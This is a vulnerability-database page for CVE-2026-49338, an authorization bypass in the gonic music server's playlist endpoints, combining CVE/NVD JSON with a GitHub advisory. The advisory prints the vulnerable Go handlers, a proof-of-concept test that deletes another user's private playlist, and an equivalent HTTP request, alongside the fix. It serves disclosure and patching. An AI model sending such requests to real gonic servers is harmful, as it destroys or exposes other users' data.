Vulnerability-Lookup

CVE-2026-49338 (GCVE-0-2026-49338)

Vulnerability from cvelistv5 – Published: 2026-06-19 19:08 – Updated: 2026-06-23 02:21

Title

Subsonic API: any authenticated user can delete or read any other user's playlist (IDOR)

Summary

gonic is a music streaming server / free-software subsonic server API implementation. Prior to version 0.21.0, the Subsonic API endpoints `/rest/deletePlaylist.view` and `/rest/getPlaylist.view` perform no per-resource authorization. Once authenticated as any user (admin or not), an attacker can delete any playlist owned by any other user (including admin) by passing its `id` and read the full contents (name, comment, song list) of any other user's **private** (non-public) playlist by passing its `id`. The Subsonic playlist `id` is `base64url("<userID>/<filename>.m3u")`. Because filenames are user-supplied or time-derived and the `userID` is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID). This breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator's curated playlists, and a user can exfiltrate any private playlist they obtain an ID for. The issue was fixed in commit `6dd71e6a3c966867ef8c900d359a7df75789f410`, which is part of version 0.21.0.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-23 02:20 UTC

CWE

CWE-285 - Improper Authorization
CWE-639 - Authorization Bypass Through User-Controlled Key

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/sentriz/gonic/security/advisor…	x_refsource_CONFIRM
https://github.com/sentriz/gonic/commit/6dd71e6	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
sentriz	gonic	Affected: < 0.21.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-49338",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-23T02:20:58.415088Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-23T02:21:47.053Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "gonic",
          "vendor": "sentriz",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.21.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "gonic is a music streaming server / free-software subsonic server API implementation. Prior to version 0.21.0, the Subsonic API endpoints `/rest/deletePlaylist.view` and `/rest/getPlaylist.view` perform no per-resource authorization. Once authenticated as any user (admin or not), an attacker can delete any playlist owned by any other user (including admin) by passing its `id` and read the full contents (name, comment, song list) of any other user\u0027s **private** (non-public) playlist by passing its `id`. The Subsonic playlist `id` is `base64url(\"\u003cuserID\u003e/\u003cfilename\u003e.m3u\")`. Because filenames are user-supplied or time-derived and the `userID` is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID). This breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator\u0027s curated playlists, and a user can exfiltrate any private playlist they obtain an ID for. The issue was fixed in commit `6dd71e6a3c966867ef8c900d359a7df75789f410`, which is part of version 0.21.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-285",
              "description": "CWE-285: Improper Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-19T19:08:34.220Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sentriz/gonic/security/advisories/GHSA-hmgp-w9jm-vp95",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sentriz/gonic/security/advisories/GHSA-hmgp-w9jm-vp95"
        },
        {
          "name": "https://github.com/sentriz/gonic/commit/6dd71e6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sentriz/gonic/commit/6dd71e6"
        }
      ],
      "source": {
        "advisory": "GHSA-hmgp-w9jm-vp95",
        "discovery": "UNKNOWN"
      },
      "title": "Subsonic API: any authenticated user can delete or read any other user\u0027s playlist (IDOR)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-49338",
    "datePublished": "2026-06-19T19:08:34.220Z",
    "dateReserved": "2026-05-29T14:35:45.902Z",
    "dateUpdated": "2026-06-23T02:21:47.053Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-49338",
      "date": "2026-09-18",
      "epss": "0.00288",
      "percentile": "0.21679"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "gonic",
                "vendor": "sentriz",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 0.21.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "gonic is a music streaming server / free-software subsonic server API implementation. Prior to version 0.21.0, the Subsonic API endpoints `/rest/deletePlaylist.view` and `/rest/getPlaylist.view` perform no per-resource authorization. Once authenticated as any user (admin or not), an attacker can delete any playlist owned by any other user (including admin) by passing its `id` and read the full contents (name, comment, song list) of any other user\u0027s **private** (non-public) playlist by passing its `id`. The Subsonic playlist `id` is `base64url(\"\u003cuserID\u003e/\u003cfilename\u003e.m3u\")`. Because filenames are user-supplied or time-derived and the `userID` is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID). This breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator\u0027s curated playlists, and a user can exfiltrate any private playlist they obtain an ID for. The issue was fixed in commit `6dd71e6a3c966867ef8c900d359a7df75789f410`, which is part of version 0.21.0."
          }
        ],
        "id": "CVE-2026-49338",
        "lastModified": "2026-06-23T15:42:30.483",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 4.2,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-49338",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-23T02:20:58.415088Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-06-19T19:16:36.557",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/sentriz/gonic/commit/6dd71e6"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/sentriz/gonic/security/advisories/GHSA-hmgp-w9jm-vp95"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-285"
              },
              {
                "lang": "en",
                "value": "CWE-639"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "suse_vex": {
      "aggregate_severity": "important",
      "current_release_date": "2026-07-30T16:43:53Z",
      "cve": "CVE-2026-49338",
      "id": "CVE-2026-49338",
      "initial_release_date": "2026-07-30T16:43:53Z",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2026-49338",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-49338.json",
      "version": "2"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-49338",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-06-23T02:20:58.415088Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-06-23T02:21:40.823Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "gonic",
              "vendor": "sentriz",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 0.21.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "gonic is a music streaming server / free-software subsonic server API implementation. Prior to version 0.21.0, the Subsonic API endpoints `/rest/deletePlaylist.view` and `/rest/getPlaylist.view` perform no per-resource authorization. Once authenticated as any user (admin or not), an attacker can delete any playlist owned by any other user (including admin) by passing its `id` and read the full contents (name, comment, song list) of any other user\u0027s **private** (non-public) playlist by passing its `id`. The Subsonic playlist `id` is `base64url(\"\u003cuserID\u003e/\u003cfilename\u003e.m3u\")`. Because filenames are user-supplied or time-derived and the `userID` is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID). This breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator\u0027s curated playlists, and a user can exfiltrate any private playlist they obtain an ID for. The issue was fixed in commit `6dd71e6a3c966867ef8c900d359a7df75789f410`, which is part of version 0.21.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-285",
                  "description": "CWE-285: Improper Authorization",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-639",
                  "description": "CWE-639: Authorization Bypass Through User-Controlled Key",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-06-19T19:08:34.220Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/sentriz/gonic/security/advisories/GHSA-hmgp-w9jm-vp95",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/sentriz/gonic/security/advisories/GHSA-hmgp-w9jm-vp95"
            },
            {
              "name": "https://github.com/sentriz/gonic/commit/6dd71e6",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/sentriz/gonic/commit/6dd71e6"
            }
          ],
          "source": {
            "advisory": "GHSA-hmgp-w9jm-vp95",
            "discovery": "UNKNOWN"
          },
          "title": "Subsonic API: any authenticated user can delete or read any other user\u0027s playlist (IDOR)"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-49338",
        "datePublished": "2026-06-19T19:08:34.220Z",
        "dateReserved": "2026-05-29T14:35:45.902Z",
        "dateUpdated": "2026-06-23T02:21:47.053Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-49338

Vulnerability from fkie_nvd - Published: 2026-06-19 19:16 - Updated: 2026-06-23 15:42

Severity

7.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/sentriz/gonic/commit/6dd71e6
	security-advisories@github.com	https://github.com/sentriz/gonic/security/advisories/GHSA-hmgp-w9jm-vp95

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "gonic",
          "vendor": "sentriz",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.21.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "gonic is a music streaming server / free-software subsonic server API implementation. Prior to version 0.21.0, the Subsonic API endpoints `/rest/deletePlaylist.view` and `/rest/getPlaylist.view` perform no per-resource authorization. Once authenticated as any user (admin or not), an attacker can delete any playlist owned by any other user (including admin) by passing its `id` and read the full contents (name, comment, song list) of any other user\u0027s **private** (non-public) playlist by passing its `id`. The Subsonic playlist `id` is `base64url(\"\u003cuserID\u003e/\u003cfilename\u003e.m3u\")`. Because filenames are user-supplied or time-derived and the `userID` is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID). This breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator\u0027s curated playlists, and a user can exfiltrate any private playlist they obtain an ID for. The issue was fixed in commit `6dd71e6a3c966867ef8c900d359a7df75789f410`, which is part of version 0.21.0."
    }
  ],
  "id": "CVE-2026-49338",
  "lastModified": "2026-06-23T15:42:30.483",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-49338",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-23T02:20:58.415088Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-19T19:16:36.557",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sentriz/gonic/commit/6dd71e6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sentriz/gonic/security/advisories/GHSA-hmgp-w9jm-vp95"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-285"
        },
        {
          "lang": "en",
          "value": "CWE-639"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-HMGP-W9JM-VP95

Vulnerability from github – Published: 2026-06-26 23:33 – Updated: 2026-06-26 23:33

Summary

Subsonic API: any authenticated user can delete or read any other user's playlist (IDOR)

Details

Summary

In gonic, the Subsonic API endpoints /rest/deletePlaylist.view and /rest/getPlaylist.view perform no per-resource authorization. Once authenticated as any user (admin or not), an attacker can:

Delete any playlist owned by any other user (including admin) by passing its id.
Read the full contents (name, comment, song list) of any other user's private (non-public) playlist by passing its id.

The Subsonic playlist id is base64url("<userID>/<filename>.m3u"). Because filenames are user-supplied or time-derived and the userID is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID).

This breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator's curated playlists, and a user can exfiltrate any private playlist they obtain an ID for.

Status

This was originally disclosed to the maintainer by email and has been fixed in commit 6dd71e6a3c966867ef8c900d359a7df75789f410 (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist, 2026-05-18). The fix has not yet been included in a tagged release; the latest tagged version v0.20.1 is still vulnerable. Filing this advisory now that private vulnerability reporting is enabled on the repo, so the issue has a public record once the next release ships.

Vulnerable code (pre-fix, at `v0.20.1` / commit `37090aa7`)

Delete IDOR — server/ctrlsubsonic/handlers_playlist.go lines 177-187:

func (c *Controller) ServeDeletePlaylist(r *http.Request) *spec.Response {
    params := r.Context().Value(CtxParams).(params.Params)
    playlistID, err := params.GetFirstID("id", "playlistId")
    if err != nil {
        return spec.NewError(10, "please provide an `id` or `playlistId` parameter")
    }
    if err := c.playlistStore.Delete(playlistIDDecode(playlistID)); err != nil {
        return spec.NewError(0, "delete playlist: %v", err)
    }
    return spec.NewResponse()
}

The handler never loads the playlist to check playlist.UserID == user.ID. Compare to ServeUpdatePlaylist (same file, line 138) which does perform this check.

Read IDOR — server/ctrlsubsonic/handlers_playlist.go lines 51-68:

func (c *Controller) ServeGetPlaylist(r *http.Request) *spec.Response {
    params := r.Context().Value(CtxParams).(params.Params)
    playlistID, err := params.GetFirstID("id", "playlistId")
    if err != nil {
        return spec.NewError(10, "please provide an `id` parameter")
    }
    playlist, err := c.playlistStore.Read(playlistIDDecode(playlistID))
    if err != nil {
        return spec.NewError(70, "playlist with id %s not found", playlistID)
    }
    // ... never checks playlist.UserID or playlist.IsPublic ...
    sub.Playlist = rendered
    return sub
}

The listing endpoint ServeGetPlaylists (line 38) correctly filters by playlist.UserID != user.ID && !playlist.IsPublic, but the singular getPlaylist did not.

Live PoC (passing Go test)

A reproducer against the existing test fixture (server/ctrlsubsonic):

func TestIDOR_DeleteOtherUsersPlaylist(t *testing.T) {
    f := newFixture(t)
    victimRelPath := filepath.Join("1", "victim-private.m3u")
    _ = f.contr.playlistStore.Write(victimRelPath, &playlistp.Playlist{
        UserID: f.admin.ID, Name: "victim-private", IsPublic: false,
        Items: []string{"/music/foo.flac"},
    })
    victimID := playlistIDEncode(victimRelPath).String()
    // f.alt is a non-admin, non-owner user
    body := f.query(t, f.contr.ServeDeletePlaylist, f.alt, url.Values{"id": {victimID}})
    // Subsonic returns status="ok" and the file is gone.
}

Test output:

--- PASS: TestIDOR_ReadOtherUsersPrivatePlaylist (0.07s)
--- PASS: TestIDOR_DeleteOtherUsersPlaylist (0.07s)
PASS
ok  go.senan.xyz/gonic/server/ctrlsubsonic 0.730s

Equivalent HTTP request

GET /rest/deletePlaylist.view?u=lowpriv&p=lowpriv&v=1&c=poc&f=json&id=cGwtMS1zaGFyZWQubTN1

Response: {"subsonic-response":{"status":"ok","version":"..."}} — playlist is gone.

Impact

Integrity / Availability: low-privileged users can delete any other user's playlists, including admin's curated lists. There is no undo.
Confidentiality: private playlists (including their comment fields) are readable by any authenticated user with an ID. IDs are predictable (base64("<smallUserID>/<name>.m3u")) and previously-public IDs persist after being marked private.
Trust boundary: gonic supports multiple users (createUser, non-admin role). This bug collapsed the user-to-user authorization model.

Affected versions

Latest tagged release v0.20.1 and all prior versions back to when the playlist M3U store was introduced. Master HEAD is fixed at commit 6dd71e6a3c966867ef8c900d359a7df75789f410.

Suggested patch (applied by maintainer in `6dd71e6`)

Load the playlist first and enforce ownership in both handlers:

// ServeGetPlaylist
if playlist.UserID != user.ID && !playlist.IsPublic {
    return spec.NewError(50, "you aren't allowed to read that user's playlist")
}

// ServeDeletePlaylist
if playlist.UserID != 0 && playlist.UserID != user.ID {
    return spec.NewError(50, "you aren't allowed to delete that user's playlist")
}

This mirrors the existing ownership check already present in ServeCreateOrUpdatePlaylist (line 84) and ServeUpdatePlaylist (line 138).

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.20.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "go.senan.xyz/gonic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T23:33:24Z",
    "nvd_published_at": "2026-06-19T19:16:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nIn gonic, the Subsonic API endpoints `/rest/deletePlaylist.view` and `/rest/getPlaylist.view` perform no per-resource authorization. Once authenticated as *any* user (admin or not), an attacker can:\n\n1. **Delete any playlist owned by any other user** (including admin) by passing its `id`.\n2. **Read the full contents** (name, comment, song list) of any other user\u0027s **private** (non-public) playlist by passing its `id`.\n\nThe Subsonic playlist `id` is `base64url(\"\u003cuserID\u003e/\u003cfilename\u003e.m3u\")`. Because filenames are user-supplied or time-derived and the `userID` is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID).\n\nThis breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator\u0027s curated playlists, and a user can exfiltrate any private playlist they obtain an ID for.\n\n## Status\n\nThis was originally disclosed to the maintainer by email and has been **fixed in commit `6dd71e6a3c966867ef8c900d359a7df75789f410`** (`fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist`, 2026-05-18). The fix has not yet been included in a tagged release; the latest tagged version `v0.20.1` is still vulnerable. Filing this advisory now that private vulnerability reporting is enabled on the repo, so the issue has a public record once the next release ships.\n\n## Vulnerable code (pre-fix, at `v0.20.1` / commit `37090aa7`)\n\n**Delete IDOR** \u2014 `server/ctrlsubsonic/handlers_playlist.go` lines 177-187:\n\n```go\nfunc (c *Controller) ServeDeletePlaylist(r *http.Request) *spec.Response {\n    params := r.Context().Value(CtxParams).(params.Params)\n    playlistID, err := params.GetFirstID(\"id\", \"playlistId\")\n    if err != nil {\n        return spec.NewError(10, \"please provide an `id` or `playlistId` parameter\")\n    }\n    if err := c.playlistStore.Delete(playlistIDDecode(playlistID)); err != nil {\n        return spec.NewError(0, \"delete playlist: %v\", err)\n    }\n    return spec.NewResponse()\n}\n```\n\nThe handler never loads the playlist to check `playlist.UserID == user.ID`. Compare to `ServeUpdatePlaylist` (same file, line 138) which *does* perform this check.\n\n**Read IDOR** \u2014 `server/ctrlsubsonic/handlers_playlist.go` lines 51-68:\n\n```go\nfunc (c *Controller) ServeGetPlaylist(r *http.Request) *spec.Response {\n    params := r.Context().Value(CtxParams).(params.Params)\n    playlistID, err := params.GetFirstID(\"id\", \"playlistId\")\n    if err != nil {\n        return spec.NewError(10, \"please provide an `id` parameter\")\n    }\n    playlist, err := c.playlistStore.Read(playlistIDDecode(playlistID))\n    if err != nil {\n        return spec.NewError(70, \"playlist with id %s not found\", playlistID)\n    }\n    // ... never checks playlist.UserID or playlist.IsPublic ...\n    sub.Playlist = rendered\n    return sub\n}\n```\n\nThe listing endpoint `ServeGetPlaylists` (line 38) correctly filters by `playlist.UserID != user.ID \u0026\u0026 !playlist.IsPublic`, but the singular `getPlaylist` did not.\n\n## Live PoC (passing Go test)\n\nA reproducer against the existing test fixture (`server/ctrlsubsonic`):\n\n```go\nfunc TestIDOR_DeleteOtherUsersPlaylist(t *testing.T) {\n    f := newFixture(t)\n    victimRelPath := filepath.Join(\"1\", \"victim-private.m3u\")\n    _ = f.contr.playlistStore.Write(victimRelPath, \u0026playlistp.Playlist{\n        UserID: f.admin.ID, Name: \"victim-private\", IsPublic: false,\n        Items: []string{\"/music/foo.flac\"},\n    })\n    victimID := playlistIDEncode(victimRelPath).String()\n    // f.alt is a non-admin, non-owner user\n    body := f.query(t, f.contr.ServeDeletePlaylist, f.alt, url.Values{\"id\": {victimID}})\n    // Subsonic returns status=\"ok\" and the file is gone.\n}\n```\n\nTest output:\n\n```\n--- PASS: TestIDOR_ReadOtherUsersPrivatePlaylist (0.07s)\n--- PASS: TestIDOR_DeleteOtherUsersPlaylist (0.07s)\nPASS\nok  go.senan.xyz/gonic/server/ctrlsubsonic 0.730s\n```\n\n## Equivalent HTTP request\n\n```\nGET /rest/deletePlaylist.view?u=lowpriv\u0026p=lowpriv\u0026v=1\u0026c=poc\u0026f=json\u0026id=cGwtMS1zaGFyZWQubTN1\n```\n\nResponse: `{\"subsonic-response\":{\"status\":\"ok\",\"version\":\"...\"}}` \u2014 playlist is gone.\n\n## Impact\n\n- **Integrity / Availability**: low-privileged users can delete any other user\u0027s playlists, including admin\u0027s curated lists. There is no undo.\n- **Confidentiality**: private playlists (including their comment fields) are readable by any authenticated user with an ID. IDs are predictable (`base64(\"\u003csmallUserID\u003e/\u003cname\u003e.m3u\")`) and previously-public IDs persist after being marked private.\n- **Trust boundary**: gonic supports multiple users (`createUser`, non-admin role). This bug collapsed the user-to-user authorization model.\n\n## Affected versions\n\nLatest tagged release `v0.20.1` and all prior versions back to when the playlist M3U store was introduced. Master HEAD is fixed at commit `6dd71e6a3c966867ef8c900d359a7df75789f410`.\n\n## Suggested patch (applied by maintainer in `6dd71e6`)\n\nLoad the playlist first and enforce ownership in both handlers:\n\n```go\n// ServeGetPlaylist\nif playlist.UserID != user.ID \u0026\u0026 !playlist.IsPublic {\n    return spec.NewError(50, \"you aren\u0027t allowed to read that user\u0027s playlist\")\n}\n\n// ServeDeletePlaylist\nif playlist.UserID != 0 \u0026\u0026 playlist.UserID != user.ID {\n    return spec.NewError(50, \"you aren\u0027t allowed to delete that user\u0027s playlist\")\n}\n```\n\nThis mirrors the existing ownership check already present in `ServeCreateOrUpdatePlaylist` (line 84) and `ServeUpdatePlaylist` (line 138).\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
  "id": "GHSA-hmgp-w9jm-vp95",
  "modified": "2026-06-26T23:33:25Z",
  "published": "2026-06-26T23:33:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sentriz/gonic/security/advisories/GHSA-hmgp-w9jm-vp95"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49338"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sentriz/gonic/commit/6dd71e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sentriz/gonic"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Subsonic API: any authenticated user can delete or read any other user\u0027s playlist (IDOR)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-49338 (GCVE-0-2026-49338)

FKIE_CVE-2026-49338

GHSA-HMGP-W9JM-VP95

Summary

Status

Vulnerable code (pre-fix, at v0.20.1 / commit 37090aa7)

Live PoC (passing Go test)

Equivalent HTTP request

Impact

Affected versions

Suggested patch (applied by maintainer in 6dd71e6)

Credits

Tags

Sightings

Nomenclature

Related by attack behaviour

Vulnerable code (pre-fix, at `v0.20.1` / commit `37090aa7`)

Suggested patch (applied by maintainer in `6dd71e6`)